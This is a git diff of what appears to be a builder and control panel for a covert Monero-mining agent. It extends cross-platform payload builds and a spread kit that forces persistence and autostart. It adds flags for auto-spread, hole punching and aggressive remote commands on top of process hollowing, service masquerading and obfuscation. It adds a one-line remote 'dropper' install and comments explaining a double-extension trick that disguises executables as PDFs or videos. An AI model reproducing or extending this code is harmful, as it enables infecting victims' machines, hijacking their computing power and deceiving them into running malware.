fmt.Sprintf(`const payloadKind = %q`, payloadKind), - `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode), - `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName), + `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode), + `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName), } for old, new := range repl { out = strings.Replace(out, old, new, 1) @@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string { } } -func disguiseVideoExeName(mediaName string) string { - base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName)) - if base == "" { - base = "movie" - } - ext := filepath.Ext(mediaName) - if ext == "" { - ext = ".mkv" - } - return sanitizeFileName(base + ext + ".exe") -} - -func runnerNameForMedia(mediaName string) string { +// runnerNameForFile generates the output runner binary name for a given payload filename. +// +// On Windows, non-exe payloads use the double-extension trick: +// +// "quarterly-report.pdf" → "quarterly-report.pdf.exe" +// +// When Windows hides known file extensions (the OS default), the user sees +// "quarterly-report.pdf" with the injected PDF icon — visually identical to the +// real document. After applyDocumentDisguise runs, the PE metadata also matches. +// +// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms +// wrap the binary in a .app bundle or the user is expected to chmod+x it). +func runnerNameForFile(mediaName string, platform BuildPlatform) string { + ext := strings.ToLower(filepath.Ext(mediaName)) base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) if base == "" { - base = "movie" + base = "runner" } - return sanitizeFileName(base + "-runner.exe") + if platform.GOOS == "windows" { + // Use disguisedRunnerName which handles double-extension and sanitisation + return disguisedRunnerName(mediaName) + } + // Linux / macOS: simple "-runner" name, no double extension + name := sanitizeFileName(base + "-runner") + _ = ext // extension not needed for Unix names + if platform.Ext != "" { + return name + platform.Ext + } + return name } +// fusionExportSubdir returns the output subfolder name for the deliverable. func fusionExportSubdir(req *BuildRequest, mediaName string) string { if s := strings.TrimSpace(req.FusionExportSubdir); s != "" { return sanitizeDirName(s) diff --git a/server/internal/builder/fusion_upload_test.go b/server/internal/builder/fusion_upload_test.go index 1e4455b..03becc8 100644 --- a/server/internal/builder/fusion_upload_test.go +++ b/server/internal/builder/fusion_upload_test.go @@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) { } } -func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) { +// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.) +// Only files with no extension at all are rejected. +func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) { + for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} { + h := &Handler{dataDir: t.TempDir()} + body := &bytes.Buffer{} + w := multipart.NewWriter(body) + partHeader := make(textproto.MIMEHeader) + partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`) + part, _ := w.CreatePart(partHeader) + _, _ = part.Write([]byte("x")) + w.Close() + r := multipart.NewReader(body, w.Boundary()) + form, _ := r.ReadForm(10 << 20) + f, _ := form.File["prep_exe"][0].Open() + _, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0]) + f.Close() + if err != nil { + t.Errorf("expected %s to be accepted, got error: %v", fname, err) + } else { + cleanup() + } + } +} + +func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) { h := &Handler{dataDir: t.TempDir()} body := &bytes.Buffer{} w := multipart.NewWriter(body) partHeader := make(textproto.MIMEHeader) - partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`) + partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`) part, _ := w.CreatePart(partHeader) _, _ = part.Write([]byte("x")) w.Close() @@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) { defer f.Close() _, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0]) if err == nil { - t.Fatal("expected error for .txt upload") + t.Fatal("expected error for file with no extension") } } diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index d996e20..bb74b56 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -70,6 +70,11 @@ type BuildRequest struct { ProcessHollowing bool `json:"process_hollowing"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` + HolePunch bool `json:"hole_punch"` + RemoteAggressive bool `json:"remote_aggressive"` + TargetOS string `json:"target_os"` + TargetArch string `json:"target_arch"` + SpreadKit bool `json:"spread_kit"` Obfuscate bool `json:"obfuscate"` SignBuild bool `json:"sign_build"` } @@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } if req.FusionEnabled && prepPath == "" { - writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"}) + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"}) return } - if req.FusionEnabled && req.FusionOutputName == "" { - req.FusionOutputName = "prep.exe" - } - + // FusionOutputName will be derived from the payload filename if not set resp, status, outputPath := h.buildAgent(&req, prepPath) if !resp.Success { writeJSON(w, status, resp) @@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { } func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) { + if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" { + return h.buildUniversalAgent(req, prepPath) + } + buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") @@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, if err := os.MkdirAll(configDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, "" } - if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil { - return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, "" - } - workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) - if req.FusionEnabled { - workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName)) - } - outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName)) - - ldflags := "-s -w" - if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled { - ldflags += " -H windowsgui" - } - - extra, err := injectPolymorph(agentDir, buildID) + platforms := platformsForRequest(req) + p := platforms[0] + outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { - log.Printf("[Forge] polymorph inject: %v", err) - } else { - ldflags += extra - } - - obfuscated := h.shouldObfuscate(req) && h.garblePath != "" - if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil { log.Printf("Build failed: %v", err) return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } - + obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows" + workerName := filepath.Base(outputPath) finalPath := outputPath finalName := workerName var fusionEnabled bool @@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, if exportLabel == "" { exportLabel = filepath.Base(prepPath) } - if req.FusionPayloadKind != "video" { - exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName)) - } arts := map[string]string{finalName: finalPath} for _, ex := range extraArtifacts { arts[ex.FileName] = ex.FilePath } + // In paired mode the runner looks for the payload file next to (or above) the binary. + // Include it in the deliverable so the ZIP is self-contained without needing the + // user to place the file themselves. + if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" { + arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath + } subdir := fusionExportSubdir(req, exportLabel) readme := fusionReadmeInfo{ Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)), @@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, relPath = filepath.Join(h.dataDir, "builds", buildID, finalName) } + // Normalise platform tag for easy lookup by /get endpoint + recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS)) + if recordPlatform == "" { + recordPlatform = "windows" + } + buildRecord := &models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, @@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, Wallet: req.Wallet, Threads: req.Threads, FileSize: fileInfo.Size(), + BundleSize: bundleSize, FilePath: absPath, + Platform: recordPlatform, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, @@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { req.AIModel = "llama3.2" } } + if strings.TrimSpace(req.TargetOS) == "" { + req.TargetOS = "windows" + } + if req.SpreadKit { + req.FusionEnabled = false + req.TargetOS = "universal" + if req.RunAs == "" || req.RunAs == "user" { + req.RunAs = "scheduled" + } + req.Persistence = true + req.AutoStart = true + } return nil } @@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa return "", nil, fmt.Errorf("fusion upload filename is invalid") } if !isFusionPayloadExt(baseName) { - return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov") + return "", nil, fmt.Errorf("fusion upload has no recognisable file extension") } prepRoot := filepath.Join(h.dataDir, "preps") @@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa return dest, cleanup, nil } +// isFusionPayloadExt accepts any file with a non-empty extension. +// Fusion now supports any file type — PDF, video, document, image, executable, etc. func isFusionPayloadExt(name string) bool { - switch strings.ToLower(filepath.Ext(name)) { - case ".exe", ".mp4", ".mkv", ".mov": - return true - default: - return false - } + ext := strings.ToLower(filepath.Ext(name)) + return ext != "" && ext != "." } func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { @@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: %q, ServerURL: %q, - BackupServerURLs: %s, Wallet: %q, Threads: %d, ThreadMode: %q, @@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig { ProcessHollowing: %v, MeshP2P: %v, AutoSpread: %v, + HolePunch: %v, + RemoteAggressive: %v, + BackupServerURLs: %s, ServiceMasquerade: %v, ServiceName: %q, ServiceDonor: %q, @@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig { `, buildID, time.Now().UTC().Format(time.RFC3339), req.WorkerName, req.ServerURL, - formatGoStringSlice(req.BackupServerURLs), req.Wallet, req.Threads, req.ThreadMode, @@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig { req.ProcessHollowing, req.MeshP2P, req.AutoSpread, + req.HolePunch, + req.RemoteAggressive, + formatGoStringSlice(req.BackupServerURLs), serviceMasqueradeEnabled(req), serviceMasqueradeName(buildID, req), serviceMasqueradeDonor(buildID, req), diff --git a/server/internal/builder/platform.go b/server/internal/builder/platform.go new file mode 100644 index 0000000..58f3d41 --- /dev/null +++ b/server/internal/builder/platform.go @@ -0,0 +1,75 @@ +package builder + +import "strings" + +// BuildPlatform identifies a GOOS/GOARCH compile target. +type BuildPlatform struct { + GOOS string + GOARCH string + Ext string +} + +func (p BuildPlatform) Label() string { + return p.GOOS + "-" + p.GOARCH +} + +func (p BuildPlatform) BinDir() string { + return "bin/" + p.Label() +} + +var defaultPlatforms = []BuildPlatform{ + {GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}, + {GOOS: "linux", GOARCH: "amd64", Ext: ""}, + {GOOS: "linux", GOARCH: "arm64", Ext: ""}, + {GOOS: "darwin", GOARCH: "arm64", Ext: ""}, + {GOOS: "darwin", GOARCH: "amd64", Ext: ""}, +} + +func platformsForRequest(req *BuildRequest) []BuildPlatform { + target := strings.ToLower(strings.TrimSpace(req.TargetOS)) + if target == "" || target == "windows" { + return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}} + } + if target == "linux" { + arch := req.TargetArch + if arch == "" { + arch = "amd64" + } + return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}} + } + if target == "darwin" { + arch := req.TargetArch + if arch == "" { + arch = "arm64" + } + return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}} + } + if target == "universal" { + if req.TargetArch != "" && req.TargetArch != "all" { + for _, p := range defaultPlatforms { + if p.GOARCH == req.TargetArch { + return []BuildPlatform{p} + } + } + } + return append([]BuildPlatform{}, defaultPlatforms...) + } + return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}} +} + +func workerFileName(worker string, p BuildPlatform, fusion bool) string { + base := sanitizeFileName(worker) + if fusion { + return "worker-" + base + p.Ext + } + return "install-" + base + p.Ext +} + +func ldflagsFor(req *BuildRequest, p BuildPlatform) string { + ldflags := "-s -w" + gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled + if p.GOOS == "windows" && gui { + ldflags += " -H windowsgui" + } + return ldflags +} diff --git a/server/internal/builder/platform_test.go b/server/internal/builder/platform_test.go new file mode 100644 index 0000000..40f775a --- /dev/null +++ b/server/internal/builder/platform_test.go @@ -0,0 +1,77 @@ +package builder + +import ( + "go/parser" + "go/token" + "strings" + "testing" +) + +func TestPlatformsForRequestWindowsDefault(t *testing.T) { + req := &BuildRequest{TargetOS: ""} + ps := platformsForRequest(req) + if len(ps) != 1 || ps[0].GOOS != "windows" { + t.Fatalf("expected single windows platform, got %+v", ps) + } +} + +func TestPlatformsForRequestLinux(t *testing.T) { + req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"} + ps := platformsForRequest(req) + if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" { + t.Fatalf("expected linux/arm64, got %+v", ps) + } +} + +func TestPlatformsForRequestUniversal(t *testing.T) { + req := &BuildRequest{TargetOS: "universal"} + ps := platformsForRequest(req) + if len(ps) != len(defaultPlatforms) { + t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps)) + } + if len(ps) < 5 { + t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps)) + } +} + +// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go +// is syntactically valid, catching any mismatch between the template and BuiltinConfig. +func TestGenerateBuiltinConfigValid(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "test", + ServerURL: "http://127.0.0.1:8989", + Wallet: "4TEST", + Threads: 4, + ThreadMode: "percent", + ThreadPercent: 75, + PoolHost: "pool.supportxmr.com", + PoolPort: 3333, + PoolPass: "x", + RunAs: "scheduled", + InstallBase: "localappdata", + } + src := h.generateBuiltinConfig("test-build-id", req) + fset := token.NewFileSet() + if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil { + t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src) + } + if !strings.Contains(src, "ServiceMasquerade") { + t.Error("expected ServiceMasquerade field in generated config") + } + if !strings.Contains(src, "BackupServerURLs") { + t.Error("expected BackupServerURLs field in generated config") + } +} + +func TestLdflagsForWindowsGUI(t *testing.T) { + req := &BuildRequest{StealthMode: true} + ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) + if !strings.Contains(ld, "windowsgui") { + t.Fatalf("expected windowsgui in ldflags, got %q", ld) + } + ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}) + if strings.Contains(ldLinux, "windowsgui") { + t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux) + } +} diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index ab09c31..ed2e317 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface { &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, - ¬es, &tagsRaw, + ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, ) if err != nil { return nil, err @@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface { const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, - cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags` + cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index fa3c682..7eca10d 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -111,8 +111,13 @@ func (d *Database) migrate() error { // Best-effort schema upgrades for existing databases. _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`) return nil } @@ -120,8 +125,8 @@ func (d *Database) migrate() error { // Agent operations func (d *Database) UpsertAgent(a *models.Agent) error { - query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP)) + query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?) ON CONFLICT(id) DO UPDATE SET name = excluded.name, wallet = excluded.wallet, @@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error { status = excluded.status, cpu_cores = excluded.cpu_cores, memory_gb = excluded.memory_gb, - last_seen = excluded.last_seen` - _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID) + last_seen = excluded.last_seen, + platform = excluded.platform, + arch = excluded.arch, + os_version = excluded.os_version` + _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion) return err } @@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash // Build operations +const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass` + +func scanBuild(row interface { + Scan(...any) error +}) (*models.BuildRecord, error) { + b := &models.BuildRecord{} + err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize, + &b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass) + return b, err +} + func (d *Database) InsertBuild(b *models.BuildRecord) error { - _, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", - b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt, + _, err := d.Exec(`INSERT INTO builds + (id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize, + b.FilePath, b.Platform, b.CreatedAt, b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass) return err } func (d *Database) GetBuild(id string) (*models.BuildRecord, error) { - b := &models.BuildRecord{} - err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id). - Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass) + return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id)) +} + +func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) { + var query string + var args []any + if platform == "" || platform == "any" { + query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1` + } else { + query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1` + args = []any{platform} + } + b, err := scanBuild(d.QueryRow(query, args...)) if err != nil { return nil, err } @@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) { } func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) { - query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?` - rows, err := d.Query(query, limit) + rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit) if err != nil { return nil, err } @@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) { var builds []*models.BuildRecord for rows.Next() { - b := &models.BuildRecord{} - if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, - &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil { + b, err := scanBuild(rows) + if err != nil { return nil, err } builds = append(builds, b) diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index ba8ea0f..e383855 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -27,6 +27,22 @@ type Agent struct { Notes string `json:"notes"` Tags []string `json:"tags"` + + Platform string `json:"platform,omitempty"` + Arch string `json:"arch,omitempty"` + OSVersion string `json:"os_version,omitempty"` + + Capabilities *AgentCapabilities `json:"capabilities,omitempty"` +} + +// AgentCapabilities reports forge-time features available for remote command. +type AgentCapabilities struct { + HolePunch bool `json:"hole_punch"` + RemoteAggressive bool `json:"remote_aggressive"` + MeshP2P bool `json:"mesh_p2p"` + AutoSpread bool `json:"auto_spread"` + ProcessHollowing bool `json:"process_hollowing"` + AIEnabled bool `json:"ai_enabled"` } type Share struct { @@ -65,7 +81,9 @@ type BuildRecord struct { Wallet string `json:"wallet"` Threads int `json:"threads"` FileSize int64 `json:"file_size"` + BundleSize int64 `json:"bundle_size"` FilePath string `json:"file_path"` + Platform string `json:"platform"` // "windows", "linux", "darwin", "universal" CreatedAt time.Time `json:"created_at"` // Pool settings PoolHost string `json:"pool_host"` diff --git a/server/internal/pool/proxy.go b/server/internal/pool/proxy.go index 1f0824d..f80a3fb 100644 --- a/server/internal/pool/proxy.go +++ b/server/internal/pool/proxy.go @@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) { } func (p *Proxy) subscribe() { + p.mu.Lock() p.requestID++ + subID := p.requestID + p.mu.Unlock() + subParams := []string{} paramsData, _ := json.Marshal(subParams) subReq := StratumRequest{ - ID: p.requestID, + ID: subID, Method: "subscribe", Params: paramsData, } @@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) { return } + // Increment and read requestID under the write lock to avoid data race (H17) + p.mu.Lock() p.requestID++ reqID := p.requestID + p.mu.Unlock() wallet := share.Wallet if wallet == "" { diff --git a/server/main.go b/server/main.go index a7ba18f..f3fca27 100644 --- a/server/main.go +++ b/server/main.go @@ -163,12 +163,17 @@ func main() { blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) log.Println("Blueprint handler initialized") + // Initialize dropper handler (one-liner remote install) + dropperHandler := api.NewDropperHandler(database, func() string { + return configProvider.PublicURL() + }) + // Find web root for frontend webRoot := findWebRoot() log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }) log.Println("Router initialized") @@ -254,8 +259,13 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error return fmt.Errorf("invalid config: %w", err) } - // Merge incoming config over current config - mergeConfig(p.config, &incoming) + // Determine which top-level keys were explicitly present in the JSON payload. + // This prevents partial PUTs from corrupting boolean fields (H14): a key absent + // from the payload is treated as "not changed", not "set to false". + var presentKeys map[string]json.RawMessage + _ = json.Unmarshal(data, &presentKeys) + + mergeConfigExplicit(p.config, &incoming, presentKeys) // Save to disk if err := p.config.Save(); err != nil { diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index 36e670b..8de473d 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -2,6 +2,7 @@ import { lazy, Suspense } from 'react'; import { Routes, Route, Navigate } from 'react-router-dom'; import SessionGate from './components/SessionGate'; import Layout from './components/Layout/Layout'; +import { WebSocketProvider } from './context/WebSocketProvider'; const DashboardPage = lazy(() => import('./pages/DashboardPage')); const AgentsPage = lazy(() => import('./pages/AgentsPage')); @@ -19,21 +20,25 @@ function PageFallback() { function App() { return ( - - - }> - - } /> - } /> - } /> - } /> - } /> - } /> - } /> - - - - + // WebSocketProvider mounts a single WS connection shared by all routes. + // No page or component should call new WebSocket() directly — use useWebSocket(). + + + + }> + + } /> + } /> + } /> + } /> + } /> + } /> + } /> + + + + + ); } diff --git a/server/web/src/components/Fleet/AgentListItem.tsx b/server/web/src/components/Fleet/AgentListItem.tsx index 49c2cac..91bb58b 100644 --- a/server/web/src/components/Fleet/AgentListItem.tsx +++ b/server/web/src/components/Fleet/AgentListItem.tsx @@ -1,7 +1,7 @@ import AgentRemoteActions from './AgentRemoteActions'; import { formatHashrate, formatUptime } from '../../help/fleetFilters'; import type { Agent } from '../../types'; -import type { WSMessage } from '../../types'; +import type { SeqCommandResult } from '../../context/WebSocketContext'; interface Props { agent: Agent; @@ -12,7 +12,7 @@ interface Props { onToggleExpand: () => void; onSelect: () => void; onCheck?: (checked: boolean) => void; - latestWsMessage?: WSMessage | null; + commandResults?: SeqCommandResult[]; } export default function AgentListItem({ @@ -24,7 +24,7 @@ export default function AgentListItem({ onToggleExpand, onSelect, onCheck, - latestWsMessage, + commandResults, }: Props) { const online = agent.status === 'online'; @@ -58,6 +58,11 @@ export default function AgentListItem({ )} {agent.name} + {agent.platform && ( + + {agent.platform}{agent.arch ? `/${agent.arch}` : ''} + + )} {agent.status} @@ -89,7 +94,7 @@ export default function AgentListItem({ v{agent.version || '?'} {agent.notes?.trim() &&

{agent.notes}

} - + )} diff --git a/server/web/src/components/Fleet/AgentRemoteActions.css b/server/web/src/components/Fleet/AgentRemoteActions.css index 25d5190..4689e62 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.css +++ b/server/web/src/components/Fleet/AgentRemoteActions.css @@ -91,6 +91,13 @@ .button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; } .button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); } +.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; } +.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); } + +.aggressive-group { border-color: rgba(255, 0, 255, 0.15); } +.aggressive-group h3 { color: #ff00ff; } +.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; } + .screenshot-viewer { margin-bottom: 20px; border: 1px solid #00e5ff; diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index ef23fcb..7d1da2b 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -1,9 +1,12 @@ import React, { useState, useRef, useEffect, useCallback } from 'react'; import { api } from '../../api/client'; -import type { Agent, WSMessage } from '../../types'; 